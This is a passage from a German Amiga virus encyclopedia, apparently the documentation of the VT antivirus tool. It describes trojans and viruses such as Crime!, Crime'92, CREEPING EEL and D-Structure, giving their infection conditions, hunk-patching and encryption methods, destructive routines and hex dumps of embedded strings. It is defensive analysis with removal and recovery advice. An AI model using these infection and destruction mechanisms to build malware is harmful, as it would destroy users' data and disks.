  5455.           6d6f7665 20777269 74652d70 726f7465 move write-prote
  5456.           6374696f 6e20616e 64207265 7472792e ction and retry.
  5457.           0a004372 65617469 6e67206e 65772053 ..Creating new S
  5458.           77617066 696c652e 20506c65 61736520 wapfile. Please
  5459.           686f6c64 2e2e2e00 646f732e 6c696272 hold....dos.libr
  5460.           61727900 6e636f6d 6d000062 62730000 ary.ncomm..bbs..
  5461.           64657673 00007300 006c6962 73000065 devs..s..libs..e
  5462.           6e766172 6300                       nvarc.
  5463.       Die Files in den Subdirs sollen auf #31 Bytes gekuerzt werden.
  5464.       Die Files sind NICHT zu retten. Textinhalt:
  5465.              +46-620-13141 - DUNGEON OF DOOM
  5466.       Hinweis: Ich habe die Teile hier eingereiht, auch wenn im
  5467.       zerstoerten File nicht COP zu lesen ist. Aber die Decodier-
  5468.       Routine mit z.B. d7 entspricht dem COP-Muster.
  5469.  
  5470.    - COP-TypM-Trojan       Zerstoerung  
  5471.       anderer Name: DUNGEON-OF-DOOM
  5472.       KEINE verbogenen Vektoren
  5473.       KEINE Vermehrung
  5474.       Bekannte Filenamen und Laengen:
  5475.          PHA_XMAS.EXE       461384
  5476.       Ein Typ L mit Textaenderungen und Unterverzeichnisse (z.B.
  5477.       ncomm) fehlen. Duerfte aelter sein als Typ L. Habe aber
  5478.       Typ L zuerst bekommen.
  5479.       Decodiert ist im File zu lesen:
  5480.                        2b34 362d3632 302d3133       +46-620-13
  5481.           31343120 2d204455 4e47454f 4e204f46 141 - DUNGEON OF
  5482.           20444f4f 4d737973 3a005068 656e6f6d  DOOMsys:.Phenom
  5483.           656e6120 444f532d 45787465 6e646572 ena DOS-Extender
  5484.           2056312e 3120a931 39393320 62792050  V1.1 .1993 by P
  5485.           686f746f 6e0a0055 6e61626c 6520746f hoton..Unable to
  5486.           20777269 74652053 77617066 696c652e  write Swapfile.
  5487.           2052656d 6f766520 77726974 652d7072  Remove write-pr
  5488.           6f746563 74696f6e 20616e64 20726574 otection and ret
  5489.           72792e0a 00437265 6174696e 67206e65 ry...Creating ne
  5490.           77205377 61706669 6c652e20 506c6561 w Swapfile. Plea
  5491.           73652068 6f6c642e 2e2e0064 6f732e6c se hold....dos.l
  5492.           69627261 727900                     ibrary.        
  5493.       Hinweis: Ich habe die Teile hier eingereiht, auch wenn im
  5494.       zerstoerten File nicht COP zu lesen ist. Aber die Decodier-
  5495.       Routine mit z.B. d7 entspricht dem COP-Muster.
  5496.  
  5497.    - COP-TypN-Trojan    Zerstoerungsfile
  5498.       siehe auch Typ I
  5499.       Filename: QBTools3
  5500.       Laenge: 227716 Bytes
  5501.       KEINE verbogenen Vektoren
  5502.       KEINE Vermehrung
  5503.       Die Files in den Subdirs sollen auf #75 Bytes gekuerzt werden.
  5504.       Text siehe oben. Die Files sind NICHT zu retten. Der geschriebene
  5505.       Text entspricht GENAU Typ I
  5506.       Aber: - die einzelnen Sub-Dirs sind vertauscht
  5507.             - der eigentliche Trojan-Code ist ein paar Bytes laenger
  5508.             - ein zusaetzlicher Text, der NICHT ins File geschrieben
  5509.               wird, ist vorhanden:
  5510.               "Please hold while scanning directory structure."
  5511.  
  5512.    - Copy_LX-Trojan   Zerstoerungsfile
  5513.       siehe bei Copy-SAVE-Trojan
  5514.       Name geaendert, da mit LX103 der Linkvorgang NICHT erzeugt werden
  5515.       konnte. Das soll aber nicht bedeuten, dass nicht doch ein ver-
  5516.       aendertes LX103 existiert hat.
  5517.  
  5518.    - Copy-SAVE-Installer
  5519.       Name frueher Copy_LX Trojan
  5520.       Der Installvorgang konnte mit lx103 nie nachvollzogen werden.
  5521.       Jetzt ist ein CrunchMania-File 1.91 aufgetaucht, das copy
  5522.       veraendert.
  5523.       CrunchMania-Filelaenge : 46656 Bytes
  5524.       Dieses Teil erzeugt das veraenderte copy-File (s.u.) wirklich.
  5525.       Keine verbogenen Vektoren
  5526.       Es wird auch eine Systemzeit in das copy-Trojan-Teil geschrieben.
  5527.       D.h. es muss nicht immer auf 13. Juni 94 geprueft werden. Dies
  5528.       wurde durch einen Vermehrungstest nachvollzogen.
  5529.  
  5530.    - Copy-SAVE-Trojan   Zerstoerungsfile  
  5531.       Name frueher Copy_LX Trojan
  5532.       hat NICHTS mit COP-Trojanern zu tun
  5533.       Copy gelinkt Laenge: 6932 Bytes
  5534.       Copy orig. KS3.0   : 5496 Bytes
  5535.       Keine verbogenen Vektoren
  5536.       VT bietet Ausbau an.
  5537.       Ablauf:
  5538.       Es sind drei codierte Bereiche im Link, wovon zwei mit sub.b #$xy,d0
  5539.       decodiert werden. Es ergibt sich:
  5540.             c:  NICHT decodiert
  5541.             s:SAVE
  5542.             scsi
  5543.       Es wird zuerst nach s:SAVE gesucht. Falls gefunden, normal copy aus-
  5544.       fuehren. Also wahrscheinlich ein Schutz fuer den Programmierer.
  5545.       Die Systemzeit wird geprueft. Vor 13. Juni 94 normaler Copy-Befehl.
  5546.       Die Dos-Strukturen werden auf scsi (scsi.device) untersucht. Falls
  5547.       nicht gefunden, normaler Copy-Befehl.
  5548.       Es wird eine Berechnung durchgefuehrt, die in den Rootblock Nullen
  5549.       schreiben soll. Die Festplattenpartition waere dann unbrauchbar.
  5550.       Versuchen Sie z.B. mit DiskSalv zu retten, was zu retten ist.
  5551.       Da das Teil mit lsl.l #x,d0 (mehrmals=9) arbeitet, wird nur bei
  5552.       Festplatten mit Blockgroesse 512 der Rootblock geloescht. Neuere
  5553.       KS koennen aber auch andere Blockgroessen verwalten (HDToolBox).
  5554.       Der Installer ist noch UNBEKANNT !!!
  5555.       Es wird LX1.03 genannt, aber ich finde nichts in dem File. Falls
  5556.       jemand "mehr Glueck" hat, bitte ich um einen Hinweis. Danke !!
  5557.       Laenge bei mir: LX 17040  LX020 16764
  5558.       Nachtrag Mai 98:
  5559.       Es ist ein Installer (s.o.) aufgetaucht. Da es sich nicht um LX103
  5560.       handelt, wurde der Name geaendert. Bei Tests, die erst mit dem
  5561.       Installer moeglich waren, wurde auch festgestellt, dass bei jeder
  5562.       Anlage eines neuen Copy-Trojans sich auch die Datumsabfrage aendert
  5563.       (d.h. es wird nicht immer auf 13. Juni 94 getestet).
  5564.  
  5565.    - CopyLock-Virus  BB  Block 0-3
  5566.       Bitte NICHT mit Original-BB CopyLock verwechseln.
  5567.       Cool $7F498  nach Reset DoIo $7F4C8
  5568.       KS 2.04: ja
  5569.       Fordert trackdisk.device NICHT
  5570.       Namensbegruendung: s.u.
  5571.       Vermehrung:
  5572.       BB
  5573.       Dazu wird der urspruengliche BB geladen, ein paar Bytes am An-
  5574.       fang einkopiert und dann mit Virus in Block 2 u. 3 wieder ab-
  5575.       gespeichert. Bei einem fluechtigen Blick sehen Sie zum Beispiel
  5576.       noch einen Text und denken es waere noch der Original-BB.
  5577.       LASSEN SIE SICH NICHT TAEUSCHEN !!!!!
  5578.       Schaeden:
  5579.       Da es sich um 4 Blocke handelt wird nicht nur der Original-BB
  5580.       zerstoert, sondern auch ein File das Datenbloecke in Block 2
  5581.       und 3 hat.
  5582.       Ablauf:
  5583.       Es werden 4 Bloecke nach $7F000 kopiert und grosse Teile mit
  5584.       sub.b d5,(a0)+ decodiert. Bei der Neucodierung fuer eine neue
  5585.       Verseuchung ist d5 abhaengig von $DFF006 .
  5586.       Das Teil wird aktiviert mit DoIo und lesendem Zugriff auf
  5587.       Block 880 ( nur bei DD-Disk Rootblock).
  5588.       Die Textteile werden NIE gezeigt.
  5589.            20436f70 796c6f63 6b20416d 69676120  Copylock Amiga
  5590.            28632920 526f6220 4e6f7274 6865726e (c) Rob Northern
  5591.            2e20416c 6c207269 67687473 20726573 . All rights res
  5592.            65727665 642e2000 41fa01fc 43f90007 erved. .A...C...
  5593.            ;........
  5594.            2a205945 50212052 4f42204e 4f525448 * YEP! ROB NORTH
  5595.            45524e20 4f4e2054 48452042 4f415244 ERN ON THE BOARD
  5596.            2021204d 5920434f 50594c4f 434b5320  ! MY COPYLOCKS
  5597.            41524520 4655434b 00205448 45204352 ARE FUCK. THE CR
  5598.            41434b45 52532041 52452042 45545445 ACKERS ARE BETTE
  5599.            52205448 414e204d 452e2054 48415460 R THAN ME. THAT`
  5600.            53205748 59204960 4d205752 4954494e S WHY I`M WRITIN
  5601.            47202056 49525553 45532021 21212028 G  VIRUSES !!! (
  5602.            494e2054 48452048 4f504520 54484154 IN THE HOPE THAT
  5603.            20544845 59204152 45204245 54544552  THEY ARE BETTER
  5604.            20415320 4d592043 4f50594c 4f434b53  AS MY COPYLOCKS
  5605.            2129202a 00000000 00000000 00000000 !) *............
  5606.       Hinweis: da das VirusTeil Block 2 u. 3 nicht als belegt kenn-
  5607.       zeichnet, kann bei einem Speichervorgang Block 2/3 neu beschrie-
  5608.       ben werden, wenn diese Bloecke im BitMapBlock frei waren. Da
  5609.       das Virusteil zerstoert ist, der Sprungbefehl in Block 0 aber
  5610.       noch vorhanden ist, werden Sie wahrscheinlich beim Booten eine
  5611.       GURU-Meldung bekommen.
  5612.  
  5613.    - CpuCache  KEIN Virus !!!!!!
  5614.       Filelaenge: 8352 Bytes
  5615.       richtiger Name: KillRDB
  5616.       Also ein Programm um den Rigidbereich zu sichern und DANACH zu
  5617.       loeschen. Wenn Sie im Cli nur "cpuCache" eingeben, erhalten Sie
  5618.       eine Meldung, dass Parameter fehlen. Ich habe keine Ahnung, wer
  5619.       die Falschaussage, dieses File sei ein Virus, in die Welt ge-
  5620.       setzt hat.
  5621.  
  5622.    - Crackright    anderer Name: Disk-Doktors  s.u.
  5623.  
  5624.    - CRACKER Exterminator  BB  Cool: $7AEAA  DoIo: $7AEC2
  5625.       Fordert trackdisk.device NICHT
  5626.       KS2.04: ja
  5627.       Namensbegruendung: im BB ist uncodiert zu lesen
  5628.            54686520 43524143 4b455220 45787465 The CRACKER Exte
  5629.            726d696e 61746f72 48e7fffe 6000002c rminatorH...`..,
  5630.       Der BB enthaelt auch einen codierten Bereich eori.b #$27,(a1)+ ,
  5631.       der NIE erreicht wird:
  5632.            303c00ad 46110a19 002751c8 fff84869 0<..F....'Q...Hi
  5633.            20686163 6b657221 20796f75 7220616d  hacker! your am
  5634.            69676120 69732069 6e666563 74656420 iga is infected
  5635.            77697468 2061206e 65772067 656e6572 with a new gener
  5636.            6174696f 6e206f66 20766972 75732063 ation of virus c
  5637.            616c6c65 643a2054 68652043 5241434b alled: The CRACK
  5638.            45522045 78746572 6d696e61 746f7220 ER Exterminator
  5639.            21206d61 64652062 793a2041 3a433a43 ! made by: A:C:C
  5640.            3a57205b 416e7469 2d437261 636b6572 :W [Anti-Cracker
  5641.            2d436c75 622d5765 73745d20 68617665 -Club-West] have
  5642.            2066756e 2c20796f 75206675 636b696e  fun, you fuckin
  5643.            67206372 61636b65 72210000 00000000 g cracker!......
  5644.       Vermehrung: BB
  5645.       Schaeden:
  5646.        Aktiviert wird das Teil, wenn mit DoIo lesend auf Block 880
  5647.        (ist nur bei DD-Disk der RootBlock) zugegriffen wird.
  5648.        In Abhaengigkeit von der Zaehlzelle bei $7FF00 (4) findet eine
  5649.        Vermehrung statt oder die "FloppyMusik"-Routine wird ge-
  5650.        startet. Diese Routine beansprucht ihr LW sehr stark und kann
  5651.        deshalb zu Hardware-Schaeden fuehren. Diese Routine ist vom
  5652.        Gadaffi-Virus abgekupfert.
  5653.  
  5654.    - Cracker Ext. Installer  (erzeugt BB s.o.)
  5655.       File verseucht:    50868 Bytes
  5656.       BB-Teil ausgebaut: 49152 Bytes
  5657.       An ACP (BBS) wurde mit Hunklab ein BootJob-File gehaengt.
  5658.       In diesem BootJob-File wurde der Programmierername geloescht.
  5659.       Im Virus-BB wurde der uncodierte Text mit sinnlosen Zeichen ueber-
  5660.       schrieben. Der eor-codierte Bereich ist weiterhin mit gleichem
  5661.       Inhalt vorhanden.
  5662.       VT sollte Ausbau anbieten.
  5663.       Vgl. auch TAI7-Installer, East-Star-Install
  5664.  
  5665.    - cREATOr-Prg  Formatroutine        Schwachsinn !!!!!
  5666.       Besteht aus 2 Files
  5667.       In c  CREATOR.SCR  40 Bytes
  5668.       IN s  cREATOr.DAT  2880 Bytes
  5669.       KEINE verbogenen Vektoren
  5670.       KEINE Vermehrung
  5671.       In File-ID wird behauptet:
  5672.          * Thiz Powerful Tool Will Let You Choose  *
  5673.          * How Fazt Your HD (Mili Seconds) Shall   *
  5674.          * Run After Every Reset !!! Normally Thiz *
  5675.       Laut Dok soll der User execute c:creator.scr eingeben.
  5676.       Darauf DARF NIEMAND hereinfallen.
  5677.       In der shell wird Return-Taste gefordert
  5678.       Danach erscheint eine Format-Zeile.
  5679.       Die Disk heisst danach cREATOr.
  5680.       Meine Meinung: Schwachsinn
  5681.       Gefaehrlich ist also eigentlich nur das cREATOr.DAT Teil und
  5682.       die File-ID.
  5683.       Hinweis: cREATOr.DAT wurde auch auf PD-Disk-Serien (1988/89) ge-
  5684.       funden. Nur heisst es da format und der Sinn des Files ist leicht
  5685.       zu erkennen.
  5686.          >>RAD:c/Format
  5687.          >>  cREATOr-Prg
  5688.       Um eine Fehlerkennung zu vermindern, erkennt VT nur DANN ein
  5689.       cREATOr-Prg, wenn das format-File cREATOr.DAT heisst (wie vom
  5690.       Virus vorgegeben) UND genau 2880 Bytes (wie vom Virus vorge-
  5691.       geben) lang ist.
  5692.       Wenn ein anderes Antivirusprogramm jeden format-Befehl mit der
  5693.       Laenge 2880 oder 2892 usw. als creator-Virus erkennt, so handelt
  5694.       es sich um eine FEHLERKENNUNG. Ich gehe davon aus, dass der Fehler
  5695.       bei diesem Antivirusprogramm im naechsten Update behoben wird.
  5696.  
  5697.  
  5698.    - CREEPING EEL  BB
  5699.       Vergleiche auch: Executor.BB, Kimble.BB
  5700.       Namensbegruendung: siehe unten
  5701.       KS2.04: nein
  5702.       Fordert trackdisk.device NICHT
  5703.       verbogene Vektoren: Cool, DoIo
  5704.       Speicherlage: immer ab $7EC00
  5705.       Vermehrung und Schaeden: BB
  5706.         UND !!!!!
  5707.         Schreibt in einen Zylinder, der bei einer Disk (880kb)
  5708.         dem Root-Zylinder entspricht (bei Festplatte ergibt sich
  5709.         ein anderer Zyl.), Datenmuell aus Speicher ab $60000.
  5710.         Diese Disks sind NICHT MEHR zu retten. Tut mir leid.
  5711.         Versuchen Sie bitte mit z.B. disksalv noch einige File
  5712.         von anderen Zylindern zu retten.
  5713.  
  5714.        Sobald die Zaehlzelle den Wert $14 erreicht hat:
  5715.          - Deutschland-Farben auf dem Bildschirm
  5716.          - Text, der uncodiert im BB steht
  5717.            2d204865 6c6c6f20 436f6d70 75746572 - Hello Computer
  5718.            66726561 6b202d2d 2d000016 004e596f freak ---....NYo
  5719.            75277665 20676f74 206e6f77 20796f75 u've got now you
  5720.            72206669 72737420 56495255 532e0000 r first VIRUS...
  5721.            002a0068 2a2a2a2a 20544845 20435245 .*.h**** THE CRE
  5722.            4550494e 47204545 4c20202a 2a2a2a00 EPING EEL  ****.
  5723.            002f0082 4d616e79 20446973 6b732061 ./..Many Disks a
  5724.            72652069 6e666563 74656420 21210000 re infected !!..
  5725.            001e00b4 57726974 74656e20 6279203e ....Written by >
  5726.            4d415820 4f462053 5441524c 49474854 MAX OF STARLIGHT
  5727.            3c200000 003c00be a9203239 2e30342e < ...<... 29.04.
  5728.            31393932 203c3c4d 41583e3e 20200000 1992 <<MAX>>  ..
  5729.  
  5730.    - Crime! Linkvirus verlaengert ein File um 1000 Bytes. Haengt sich
  5731.       an den ersten Codehunk an. Cool, AllocMem, Dos: Open, LoadSeg,
  5732.       Dosbase+$2e
  5733.       KS2.04 = NEIN
  5734.       Kein Meldeprogrammteil gefunden.
  5735.       Kann sich MEHRMALS in gleiches File haengen, da schon-befallen
  5736.       Routine fehlt. (nach 3 Links ans gleiche File habe ich aufgehoert)
  5737.       Allerdings muss dazwischen immer ein anderes File aufgerufen wer-
  5738.       den, damit der Filenamenbuffer (vom VirusPrg. angelegt) ueberschrie-
  5739.       ben wird.
  5740.       Im Speicher werden 19 Bytes mit eori.b #$5e,-1(a5) decodiert:
  5741.                   Crime!00dos.library
  5742.       Vermehrungsbedingungen:
  5743.             - Flag Disk o.k. ($52)
  5744.             - #16 Block free
  5745.             - File kleiner als #102400  (#$19000)
  5746.             - 1.LW #$3F3  (File ausfuehrbar)
  5747.             - #$3E9 wird gefunden (1.Hunk ist CodeHunk)
  5748.             - letzter Befehl im 1.Hunk ist #$4E75 (RTS). Virus traegt
  5749.               dann $4E71 (NOP) ein.
  5750.               oder
  5751.               wird bis $3E+1 Wort-Schritte zurueck gefunden. Virus traegt
  5752.               dann $60xy (bra.s xy) ein.
  5753.             - Name enthaelt nicht: #, *, -, ., ?,
  5754.  
  5755.       Speichererkennung mit VT getestet: 15.02.92
  5756.       Ausbau mit VT getestet:            16.02.92
  5757.       wichtig !!!!!!!!!!
  5758.       VT sollte im Filetest das befallene File sicher finden. Da die
  5759.       anderen VT-Routinen zum Teil blockorientiert arbeiten, koennen
  5760.       nur 2 Langworte im Block liegen und das 3. LW im naechsten Block.
  5761.       VT meldet sich dann NICHT !!!
  5762.       Hinweis 31.08.92: Ab VT2.44 sollten mehrere CrimeLinks ans gleiche
  5763.       File in einem Durchgang ausgebaut werden. Falls nein, melden Sie
  5764.       sich bitte. Danke
  5765.  
  5766.    - Crime!++ Linkvirus verlaengert ein File um 872 Bytes. Haengt sich
  5767.       an den ersten Codehunk an. Cool, Wait, Dos: Dosbase+$2e
  5768.       KS2.04 = NEIN (die Linkroutine wird zwar aktiviert, aber Dosbase+$2e
  5769.          stimmt NICHT. Deshalb kein Link sondern haeufig GURU.
  5770.       Kein Meldeprogrammteil gefunden.
  5771.       Kann sich MEHRMALS in gleiches File haengen, da schon-befallen
  5772.       Routine fehlt. (nach 5 Links ans gleiche File habe ich aufgehoert)
  5773.         Im Speicher werden $1A5+1 Worte mit eor.w d1,(a0)+ decodiert:
  5774.                   Crime!++
  5775.          d1 wird bei jedem Linkversuch ueber $DFF00A neu festgelegt.
  5776.       Vermehrungsbedingungen:
  5777.             - Flag Disk o.k. ($52)
  5778.             - #16 Block free
  5779.             - File kleiner als #102400  (#$19000)
  5780.             - 1.LW #$3F3  (File ausfuehrbar)
  5781.             - #$3E9 wird gefunden (1.Hunk ist CodeHunk)
  5782.             - letzter Befehl im 1.Hunk ist #$4E75 (RTS). Virus traegt
  5783.               dann $4E71 (NOP) ein.
  5784.               oder
  5785.               wird bis $3F+1 Wort-Schritte zurueck gefunden. Virus traegt
  5786.               dann $60xy (bra.s xy) ein.
  5787.       Speichererkennung mit VT getestet: 24.05.92
  5788.       Ausbau mit VT getestet:            25.05.92
  5789.       wichtig !!!!!!!!!!
  5790.       VT sollte im Filetest das befallene File sicher finden. Da die
  5791.       anderen VT-Routinen zum Teil blockorientiert arbeiten, koennen
  5792.       nur 2 Langworte im Block liegen und das 3. LW im naechsten Block.
  5793.       VT meldet sich dann NICHT !!!
  5794.       wichtig 2:
  5795.       verseuchte Files sind lauffaehig:
  5796.          VT sollte den Urzustand wieder herstellen koennen.
  5797.       verseuchte Files sind NICHT lauffaehig:
  5798.          Die Linkroutine ist nicht ++ , sondern enthaelt mehrere Fehler-
  5799.          quellen, die in Crime! nicht vorhanden waren. EINEN Fehler er-
  5800.          kennt VT und versucht ihn beim Ausbau auszubessern. Bitte mit
  5801.          einer Kopie ausbauen !!!!
  5802.       wichtig 3:
  5803.          Es werden AUCH Files mit einem "." im Namen verseucht.
  5804.          Beweis: Es wurde ein Datablock ausgedruckt. Danach waren ver-
  5805.          seucht: c/print, devs/printer.device, devs/parallel.device,
  5806.          und devs/printer/NEC  .
  5807.       wichtig 4: Nach dem Ausbau rufen Sie bitte BlockITest auf und
  5808.          loeschen alle jetzt noch gefunden Crime!++ - Bloecke (auf
  5809.          der Diskkopie!!!). Das entseuchte File wird nicht unbedingt
  5810.          an die gleiche Stelle auf der Disk zurueckgespielt und so
  5811.          kann ein NICHT mehr aufrufbarer Block stehenbleiben. Danach
  5812.          rufen Sie bitte Blockkette auf und testen die Files auf
  5813.          richtige Verkettung. Sollten vor BlockITest bei BlockKette
  5814.          alle Files noch in Ordnung gewesen sein und jetzt nicht mehr,
  5815.          dann fuehren Sie bitte mit der Disk, die noch nicht mit
  5816.          BlockItest nachbehandelt wurde ein EinzelFileCopy durch. Auch
  5817.          hier werden nur die belegten und benutzten Blocks kopiert.
  5818.          UND rufen Sie mich bitte an. Danke
  5819.       Hinweis 31.08.92: Ab VT2.44 sollten mehrere Crime++Links ans gleiche
  5820.       File in einem Durchgang ausgebaut werden. Falls nein, melden Sie
  5821.       sich bitte. Danke
  5822.       Ursprung:  driveinfo  trojanisches Pferd  s.u.
  5823.       Nachtrag Nov.96: Es werden im Moment einige Crime++-Files herumge-
  5824.       geben, die im Moment von den Antivirusprogrammen nicht erkannt wer-
  5825.       den. Lassen Sie sich nicht verunsichern. Bei diesen Files ist zwar
  5826.       ein Crime++ enthalten und VT erkennt die Teile z.B. beim BlockKette-
  5827.       Test. Aber!!!!! Die Struktur dieser Files ist FALSCH !!!! Keines
  5828.       dieser Files (zumindest was mir vorliegt) ist ausfuehrbar !!! Ein
  5829.       Startversuch aus der Shell wird auf all meinen Testrechnern IMMER
  5830.       abgebrochen (not executable) OHNE Aktivierung des Virusteils im
  5831.       Speicher !!!!!
  5832.  
  5833.    - Crime'92     Linkvirus  verlaengert ein File um 1800 Bytes 1.HunkEnde
  5834.        Namensbegruendung: decodiert im Speicher:
  5835.        4372696D 65273932 000048E7 FFFE47FA Crime'92..
  5836.        Fordert trackdisk.device NICHT
  5837.        resetfest, Virusprogramm meldet sich nicht. Liegt immer im
  5838.        ChipMem. Codierung wechselt.
  5839.        Verbogene Vektoren bis KS1.3 einschl. : Cold, Cool, Wait (exec)
  5840.           dosbase+$2e
  5841.        Verbogene Vektoren ab KS1.4 ($23) : Cool, Wait (exec), LoadSeg,
  5842.           NewLoadSeg
  5843.        68040: NUR OHNE Cache
  5844.        Schaeden:
  5845.         abhaengig vom Wert einer Zaehlzelle:
  5846.         Schreibt in Block 2-7 (=6 Blocks) von Track 0  Speichermuell (der
  5847.         geschriebene Speicher kann auch nur Nullen enthalten). Sollten
  5848.         da Datenbloecke von Programmen gelegen haben, so sind diese
  5849.         Programme unbrauchbar. KEINE Rettung moeglich. Tut mir leid.
  5850.         Wenn das VirusPrg nun den Rigid-Track ihrer Festplatte zerstoert
  5851.         (fordert trackdisk.device NICHT), so ist die Festplatte nach dem
  5852.         naechsten Reset NICHT mehr ansprechbar !!!! Ich hoffe Sie haben
  5853.         ein Backup ?????
  5854.         ab Block 2  move.l #$400,$2c(a1)
  5855.         6 Blocks    move.l #$C00,$24(a1)
  5856.        Vermehrung:
  5857.             - Flag Disk o.k. ($52)  (validated)
  5858.             - #8 Block frei
  5859.             - File kleiner als #102400  (#$19000)
  5860.             - 1.LW #$3F3  (File ausfuehrbar)
  5861.             - #$3E9 wird gefunden (1.Hunk ist CodeHunk)
  5862.             - Test auf schon befallen
  5863.             - Virus sucht ab Ende 1.Hunk nach RTS.
  5864.               Steht RTS genau am Ende, dann wird es mit den ersten zwei
  5865.               Bytes von $48e7fffe (movem.l d0-a6,-(a7)) ueberschrieben.
  5866.               Steht RTS nicht am Ende, dann wird bis $3e+1 Wort-Schritte
  5867.               zurueck gesucht. Virus traegt $60xy (bra.s xy) ein.
  5868.             - Die CodierRoutine ist sehr variabel gestaltet:
  5869.                   - Wechsel der CodierRoutine
  5870.                   - Wechsel des Beginns des codierten Bereichs im Virus-
  5871.                     teil
  5872.  
  5873.       Speichererkennung mit VT getestet: 22.10.92
  5874.       Ausbau mit VT getestet:            23.10.92
  5875.       wichtig1 !!!!!!!
  5876.        Bitte aktivieren Sie die DruckOption zuerst in Prefs. Es koennte
  5877.        mit den notwendigen Druckprogrammen Crime'92 eingeladen werden.
  5878.        Beim naechsten GadgetKlick im Hauptfenster MUSS VT den Crime'92
  5879.        dann im Speicher finden !!!!  Zumindest bei meinen Tests.
  5880.       wichtig2 !!!!!!!!!!
  5881.        VT sollte im Filetest das befallene File sicher finden. Da die
  5882.        anderen VT-Routinen zum Teil blockorientiert arbeiten, koennen
  5883.        nur 2 Langworte im Block liegen und das 3. LW im naechsten Block.
  5884.        VT meldet sich dann NICHT !!!
  5885.  
  5886.       Nachtrag 03.07.93:
  5887.        Crime 92 Variante (CodierRoutine anders) erhalten.
  5888.        Fileerkennung musste geaendert werden.
  5889.        Speichererkennung musste NICHT geaendert werden.
  5890.  
  5891.       Nachtrag 04.07.93:
  5892.        Es ist ein verseuchtes Testfile aus absolut zuverlaessiger Quelle
  5893.        aufgetaucht, bei dem das letzte Langwort im Originalhunk zerstoert
  5894.        war . Dieses File ist AUCH nach dem Crime92-Ausbau noch defekt.
  5895.        Beispiel: der 1.Hunk wuerde mit "dos.library",0 enden. Bei diesem
  5896.        Vorgang wuerde dann "dos.libr",$5cef5def entstehen. Beim Ver-
  5897.        such, die dos.library zu oeffnen wuerde ein Fehler entstehen.
  5898.        Es ist mir in zwei Stunden nicht gelungen, diese Variante selbst
  5899.        zu erzeugen.
  5900.  
  5901.    - CSP-BB-Virus
  5902.        Name: decodiert mit eor:
  5903.           596f7520 73656520 4353502c 20427974 You see CSP, Byt
  5904.           65205761 7272696f 72207265 616c6c79 e Warrior really
  5905.           2063616e 206d616b 65206120 76697275  can make a viru
  5906.           7320696e 2074776f 20686f75 72732121 s in two hours!!
  5907.        Verbogene Vektoren:
  5908.           - DoIo     immer 7F0EE
  5909.           - KickTag  immer 7F0CC
  5910.        Speicherlage  immer 7F000
  5911.  
  5912.    - D&A FileVirus  Laenge:1052 Bytes  anderer Name SCA Dos Kill
  5913.       Cool immer $7E3CE und nach Reset auch DoIo
  5914.       KS2.04: keine BB-Verseuchung gelungen, Vektoren aber verbogen
  5915.       Schaeden: Das FileVirus schreibt bis KS1.3 auf eine nicht schreib-
  5916.       geschuetzte Disk einen BB dem die DOS0-Kennung fehlt. Dort steht
  5917.       dafuer $00000400 . Das Betriebssystem meldet deshalb mit einem
  5918.       Requester "Not a Dos Disk" . Schreiben Sie einfach einen Standard-
  5919.       Bootblock auf diese Disk. Der defekte BB ist ein leicht geaenderter
  5920.       SCA-BB (z.B. SCA! durch D&A! ersetzt). Das File muessen Sie loeschen.
  5921.       Schauen Sie bitte auch in der startup-sequence nach, ob dieser File-
  5922.       name vorkommt und loeschen Sie diese Zeile.
  5923.       Vermutung: Dieser BB wurde mit einem Prg. erzeugt, das aus einem
  5924.       BB ein Execute-File macht. Gibt es leider auch auf FF. Lesen Sie
  5925.       dazu auch FileTest bei SP-File-Sp in VT2.xyd .
  5926.  
  5927.  
  5928.    - D-Structure A/B/C-Virus
  5929.       immer ab $7C000  oldOpenLib immer $7C06E   Write (-$30) immer
  5930.       $7C0CC   nicht resetfest
  5931.       Name: D-Structure   in der Mitte des Files zu lesen
  5932.       Typ A: Filelaenge: 428 Bytes
  5933.       Typ B: Filelaenge: 352 Bytes     (haeufig Absturz)
  5934.       Typ C: Filelaenge: 464 Bytes     (21.10.92)
  5935.                 Typ A u. B :
  5936.           ffd24e75 0007c200 0007c204 442d5374 ..Nu........D-St
  5937.           72756374 75726500 c24033ee 000003ec ructure..@3.....
  5938.                 Typ C:
  5939.           C2000007 C204442D 53747275 63747572 A...A.D-Structur
  5940.           65202000 000003F3 00000000 00000002 e  ....o........
  5941.             ^^^^                               ^^
  5942.             also mit zwei zusaetzlichen Leerzeichen
  5943.       Ablauf:
  5944.       - allocabs $7C000
  5945.       - oldOpenlib wird gerettet und verbogen
  5946.       - wenn nun ein anderes Programm oldopenlib aufruft, wird getestet
  5947.         ob dos.library geoeffnet werden soll.
  5948.           wenn nein:  z.B. intuition.lib
  5949.             - newopenlib wird ausgefuehrt und D-Structure wartet weiter
  5950.           wenn ja:
  5951.             - dosBase wird gerettet
  5952.             - Orig-Write wird gerettet und verbogen
  5953.             - oldopenlib wird zurueckgesetzt
  5954.             - newopenlib wird ausgefuehrt
  5955.           beim 5. Aufruf von Write wird nun nicht das Gewuenschte ge-
  5956.           schrieben (in cli, auf disk usw.), sondern das VirusPrg ab
  5957.           $7C000. Dieses File auf Disk ist leider nicht zu retten.
  5958.            - VirusPrg meldet sich NICHT !!!!
  5959.       Empfehlung: loeschen Sie das VirusPrg und alle zerstoerten Files.
  5960.                   Ueberpruefen Sie bitte die startup-sequence.
  5961.         D-Structure A/B-File-Erkennung mit VT getestet: 09.09.92
  5962.         D-Structure A/B-Speicher mit VT getestet:       09.09.92
  5963.         D-Structure C  mit VT getestet:                 21.10.92
  5964.  
  5965.    - DAG   Cool, im Prg DoIo und zurueck,
  5966.            Fastmem ja,
  5967.            immer ab $7ec00
  5968.       eine Meisterleistung: in den SCA-Text wurde eingebaut:
  5969.                Try ANTIVIRUS from DAG
  5970.       Erzeuger: DAG_Creator   ungepackt:7000 Bytes oder 7360 Bytes
  5971.          schreibt Dag in BB von df1:
  5972.  
  5973.    - dailer-BBS  V2.8g   Von der Definition kein Virus, da keine Ver-
  5974.          mehrung. Ein Einbruchswerkzeug in BBS . Das Hauptprogramm
  5975.          duerfte eine Bluebox sein.
  5976.          Gepackt mit CrunchMania: Laenge: 11992 Bytes
  5977.          Laenge entpackt: 33908 Bytes
  5978.          Wird von VT entpackt als XLink erkannt. Also war meine Ver-
  5979.          mutung, dass auch dieses Programm fuer Viren missbraucht wird,
  5980.          RICHTIG !!!!
  5981.            Im File ist dann zu lesen:
  5982.  
  5983.            79006262 733a7573 65722e64 61746100 y.bbs:user.data.
  5984.            6262733a 6e6f6465 312f4e4f 43414c4c bbs:node1/NOCALL
  5985.            45525341 54333030 00010000 000003ec ERSAT300........
  5986.            ;.......
